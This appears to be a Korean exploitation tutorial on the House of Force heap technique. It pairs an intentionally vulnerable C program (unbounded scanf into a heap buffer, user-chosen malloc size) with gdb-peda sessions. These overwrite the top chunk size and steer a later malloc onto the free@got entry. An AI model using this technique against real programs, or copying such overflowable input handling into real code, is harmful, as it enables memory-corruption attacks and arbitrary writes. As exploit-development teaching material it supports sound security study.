Excuse the ads! We need some help to keep our site up.
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { int size; char *buf1, *buf2, *buf3; buf1 = malloc(256); printf("buf1 : "); scanf("%s",buf1); printf("Size : "); scanf("%d",&size); buf2 = malloc(size); printf("buf3 : "); buf3 = malloc(256); scanf("%s",buf3); free(buf3); free(buf2); free(buf1); return 0; } |
0x40066f : 1번째 scanf() 함수 호출 후
0x40069c : 2번째 malloc() 함수 호출 전
0x4006be : 3번째 malloc() 함수 호출 후
gdb-peda$ b *0x000000000040066f Breakpoint 1 at 0x40066f gdb-peda$ b *0x000000000040069c Breakpoint 2 at 0x40069c gdb-peda$ b *0x00000000004006be Breakpoint 3 at 0x4006be gdb-peda$ |
gdb-peda$ r Starting program: /home/lazenca0x0/force buf1 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Breakpoint 1, 0x000000000040066f in main () gdb-peda$ x/40gx 0x602010 - 0x10 0x602000: 0x0000000000000000 0x0000000000000111 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x4141414141414141 0x602030: 0x4141414141414141 0x4141414141414141 0x602040: 0x4141414141414141 0x4141414141414141 0x602050: 0x4141414141414141 0x4141414141414141 0x602060: 0x4141414141414141 0x4141414141414141 0x602070: 0x4141414141414141 0x4141414141414141 0x602080: 0x4141414141414141 0x4141414141414141 0x602090: 0x4141414141414141 0x4141414141414141 0x6020a0: 0x4141414141414141 0x4141414141414141 0x6020b0: 0x4141414141414141 0x4141414141414141 0x6020c0: 0x4141414141414141 0x4141414141414141 0x6020d0: 0x4141414141414141 0x4141414141414141 0x6020e0: 0x4141414141414141 0x4141414141414141 0x6020f0: 0x4141414141414141 0x4141414141414141 0x602100: 0x4141414141414141 0x4141414141414141 0x602110: 0x4141414141414141 0x4242424242424242 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 gdb-peda$ set * 0x602118 = 0xffffffff gdb-peda$ set * 0x60211c = 0xffffffff gdb-peda$ x/gx 0x602118 0x602118: 0xffffffffffffffff gdb-peda$ |
"free@got(0x601018)" - "Chunk header size(0x10)" - "Top chunk address(0x602118)" - 0x8 = 0xffffeee8
set $rdi = 0xffffffffffffeee8
할당 예상 영역 : -3476(0xffffffffffffeee8) + 0x602110 + 0x10 +0x8 = 0x600ff8
gdb-peda$ c Continuing. Size : 1 Breakpoint 2, 0x000000000040069c in main () gdb-peda$ elfsymbol free Detail symbol info free@reloc = 0 free@plt = 0x4004e0 free@got = 0x601018 gdb-peda$ p/x 0x601018 - 0x10 - 0x602118 - 0x8 $1 = 0xffffeee8 gdb-peda$ set $rdi = 0xffffffffffffeee8 gdb-peda$ i r rdi rdi 0xffffffffffffeee8 0xffffffffffffeee8 gdb-peda$ ni 0x00000000004006a1 in main () gdb-peda$ i r rax rax 0x602120 0x602120 gdb-peda$ x/30gx 0x602120 - 0x10 0x602110: 0x4141414141414141 0xffffffffffffeef1 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 0x6021e0: 0x0000000000000000 0x0000000000000000 0x6021f0: 0x0000000000000000 0x0000000000000000 gdb-peda$ p/d 0xffffffffffffeee8 $2 = -4376 gdb-peda$ p/d 0xffffffffffffeef1 $3 = -4367 gdb-peda$ p/x -4376 + 0x602110 + 0x10 +0x8 $4 = 0x601010 gdb-peda$ p/x -4367 + 0x602110 - 0x1 $5 = 0x601000 |
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006be in main () gdb-peda$ i r rax rax 0x601010 0x601010 gdb-peda$ x/10gx 0x601010 - 0x10 0x601000: 0x0000000000600e28 0x0000000000000111 0x601010: 0x00007ffff7df0670 0x00000000004004e6 0x601020 <printf@got.plt>: 0x00007ffff7a65340 0x00007ffff7a32e50 0x601030 <__gmon_start__@got.plt>: 0x0000000000400516 0x00007ffff7a93a80 0x601040 <__isoc99_scanf@got.plt>: 0x00007ffff7a6ed10 0x0000000000000000 gdb-peda$ x/gx 0x601010 + 0x8 0x601018 <free@got.plt>: 0x00000000004004e6 gdb-peda$ |